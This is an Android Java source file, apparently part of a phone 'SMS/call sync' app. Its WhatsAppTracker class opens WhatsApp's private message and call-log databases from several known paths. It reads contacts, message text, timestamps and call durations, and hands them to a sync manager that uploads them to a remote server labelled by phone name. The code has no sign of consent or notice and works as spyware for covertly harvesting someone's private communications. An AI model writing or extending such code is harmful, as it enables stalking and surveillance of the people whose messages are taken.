package com.example.sms_call_sync;

import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.util.Log;
import java.io.File;
import java.util.ArrayList;
import java.util.List;

public class WhatsAppTracker {
    private static final String TAG = "WhatsAppTracker";
    private Context context;
    private SyncManager syncManager;
    private String serverUrl;
    private String phoneName;

    // WhatsApp database paths (may vary by Android version and WhatsApp version)
    private static final String[] WHATSAPP_DB_PATHS = {
        "/data/data/com.whatsapp/databases/msgstore.db",
        "/data/data/com.whatsapp/databases/wa.db",
        "/storage/emulated/0/WhatsApp/Databases/msgstore.db",
        "/storage/emulated/0/Android/media/com.whatsapp/WhatsApp/Databases/msgstore.db",
        "/sdcard/WhatsApp/Databases/msgstore.db",
        "/sdcard/Android/media/com.whatsapp/WhatsApp/Databases/msgstore.db"
    };

    private static final String[] WHATSAPP_CALL_DB_PATHS = {
        "/data/data/com.whatsapp/databases/call_log.db",
        "/data/data/com.whatsapp/databases/wa.db",
        "/storage/emulated/0/WhatsApp/Databases/call_log.db",
        "/storage/emulated/0/Android/media/com.whatsapp/WhatsApp/Databases/call_log.db"
    };

    public WhatsAppTracker(Context context, String serverUrl, String phoneName) {
        this.context = context;
        this.serverUrl = serverUrl;
        this.phoneName = phoneName;
        this.syncManager = new SyncManager(context);
    }

    public void syncWhatsAppMessages() {
        Log.d(TAG, "Starting WhatsApp message sync");
        
        List<WhatsAppMessage> messages = extractWhatsAppMessages();
        if (!messages.isEmpty()) {
            Log.d(TAG, "Found " + messages.size() + " WhatsApp messages");
            syncManager.syncWhatsAppMessages(serverUrl, phoneName, messages);
        } else {
            Log.d(TAG, "No WhatsApp messages found");
        }
    }

    public void syncWhatsAppCalls() {
        Log.d(TAG, "Starting WhatsApp call sync");
        
        List<WhatsAppCall> calls = extractWhatsAppCalls();
        if (!calls.isEmpty()) {
            Log.d(TAG, "Found " + calls.size() + " WhatsApp calls");
            syncManager.syncWhatsAppCalls(serverUrl, phoneName, calls);
        } else {
            Log.d(TAG, "No WhatsApp calls found");
        }
    }

    private List<WhatsAppMessage> extractWhatsAppMessages() {
        List<WhatsAppMessage> messages = new ArrayList<>();
        
        for (String dbPath : WHATSAPP_DB_PATHS) {
            File dbFile = new File(dbPath);
            if (dbFile.exists() && dbFile.canRead()) {
                Log.d(TAG, "Found WhatsApp database: " + dbPath);
                messages.addAll(readMessagesFromDatabase(dbPath));
                break; // Use the first accessible database
            }
        }
        
        return messages;
    }

    private List<WhatsAppCall> extractWhatsAppCalls() {
        List<WhatsAppCall> calls = new ArrayList<>();
        
        for (String dbPath : WHATSAPP_CALL_DB_PATHS) {
            File dbFile = new File(dbPath);
            if (dbFile.exists() && dbFile.canRead()) {
                Log.d(TAG, "Found WhatsApp call database: " + dbPath);
                calls.addAll(readCallsFromDatabase(dbPath));
                break; // Use the first accessible database
            }
        }
        
        // Also try to read calls from main message database
        for (String dbPath : WHATSAPP_DB_PATHS) {
            File dbFile = new File(dbPath);
            if (dbFile.exists() && dbFile.canRead()) {
                calls.addAll(readCallsFromMessageDatabase(dbPath));
                break;
            }
        }
        
        return calls;
    }

    private List<WhatsAppMessage> readMessagesFromDatabase(String dbPath) {
        List<WhatsAppMessage> messages = new ArrayList<>();
        SQLiteDatabase db = null;
        
        try {
            db = SQLiteDatabase.openDatabase(dbPath, null, SQLiteDatabase.OPEN_READONLY);
            
            // Query for messages (table structure may vary by WhatsApp version)
            String[] possibleQueries = {
                "SELECT _id, key_remote_jid, data, timestamp, key_from_me, status FROM messages WHERE key_remote_jid NOT LIKE '%@g.us' ORDER BY timestamp DESC LIMIT 1000",
                "SELECT _id, remote_resource, data, timestamp, key_from_me, status FROM messages WHERE remote_resource NOT LIKE '%@g.us' ORDER BY timestamp DESC LIMIT 1000",
                "SELECT _id, jid, data, timestamp, key_from_me, status FROM message WHERE jid NOT LIKE '%@g.us' ORDER BY timestamp DESC LIMIT 1000"
            };
            
            for (String query : possibleQueries) {
                try {
                    Cursor cursor = db.rawQuery(query, null);
                    if (cursor != null) {
                        while (cursor.moveToNext()) {
                            WhatsAppMessage message = new WhatsAppMessage();
                            message.id = cursor.getLong(0);
                            message.contact = cursor.getString(1);
                            message.data = cursor.getString(2);
                            message.timestamp = cursor.getLong(3);
                            message.fromMe = cursor.getInt(4) == 1;
                            message.status = cursor.getInt(5);
                            
                            messages.add(message);
                        }
                        cursor.close();
                        break; // Successfully read with this query
                    }
                } catch (Exception e) {
                    Log.d(TAG, "Query failed, trying next: " + e.getMessage());
                }
            }
            
        } catch (Exception e) {
            Log.e(TAG, "Error reading WhatsApp messages: " + e.getMessage());
        } finally {
            if (db != null) {
                db.close();
            }
        }
        
        return messages;
    }

    private List<WhatsAppCall> readCallsFromDatabase(String dbPath) {
        List<WhatsAppCall> calls = new ArrayList<>();
        SQLiteDatabase db = null;
        
        try {
            db = SQLiteDatabase.openDatabase(dbPath, null, SQLiteDatabase.OPEN_READONLY);
            
            // Query for calls
            String[] possibleQueries = {
                "SELECT _id, jid, timestamp, call_result, duration FROM call_log ORDER BY timestamp DESC LIMIT 1000",
                "SELECT _id, remote_resource, timestamp, call_result, duration FROM call_log ORDER BY timestamp DESC LIMIT 1000"
            };
            
            for (String query : possibleQueries) {
                try {
                    Cursor cursor = db.rawQuery(query, null);
                    if (cursor != null) {
                        while (cursor.moveToNext()) {
                            WhatsAppCall call = new WhatsAppCall();
                            call.id = cursor.getLong(0);
                            call.contact = cursor.getString(1);
                            call.timestamp = cursor.getLong(2);
                            call.callResult = cursor.getInt(3);
                            call.duration = cursor.getLong(4);
                            
                            calls.add(call);
                        }
                        cursor.close();
                        break;
                    }
                } catch (Exception e) {
                    Log.d(TAG, "Call query failed, trying next: " + e.getMessage());
                }
            }
            
        } catch (Exception e) {
            Log.e(TAG, "Error reading WhatsApp calls: " + e.getMessage());
        } finally {
            if (db != null) {
                db.close();
            }
        }
        
        return calls;
    }

    private List<WhatsAppCall> readCallsFromMessageDatabase(String dbPath) {
        List<WhatsAppCall> calls = new ArrayList<>();
        SQLiteDatabase db = null;
        
        try {
            db = SQLiteDatabase.openDatabase(dbPath, null, SQLiteDatabase.OPEN_READONLY);
            
            // Look for call messages in the messages table
            String[] possibleQueries = {
                "SELECT _id, key_remote_jid, timestamp, media_duration FROM messages WHERE media_wa_type = 8 ORDER BY timestamp DESC LIMIT 1000", // Call messages
                "SELECT _id, remote_resource, timestamp, media_duration FROM messages WHERE media_wa_type = 8 ORDER BY timestamp DESC LIMIT 1000"
            };
            
            for (String query : possibleQueries) {
                try {
                    Cursor cursor = db.rawQuery(query, null);
                    if (cursor != null) {
                        while (cursor.moveToNext()) {
                            WhatsAppCall call = new WhatsAppCall();
                            call.id = cursor.getLong(0);
                            call.contact = cursor.getString(1);
                            call.timestamp = cursor.getLong(2);
                            call.duration = cursor.getLong(3);
                            call.callResult = 1; // Assume completed call
                            
                            calls.add(call);
                        }
                        cursor.close();
                        break;
                    }
                } catch (Exception e) {
                    Log.d(TAG, "Call message query failed, trying next: " + e.getMessage());
                }
            }
            
        } catch (Exception e) {
            Log.e(TAG, "Error reading WhatsApp call messages: " + e.getMessage());
        } finally {
            if (db != null) {
                db.close();
            }
        }
        
        return calls;
    }

    // Data classes for WhatsApp messages and calls
    public static class WhatsAppMessage {
        public long id;
        public String contact;
        public String data;
        public long timestamp;
        public boolean fromMe;
        public int status;
    }

    public static class WhatsAppCall {
        public long id;
        public String contact;
        public long timestamp;
        public int callResult; // 1: answered, 2: missed, etc.
        public long duration; // in seconds
    }
}

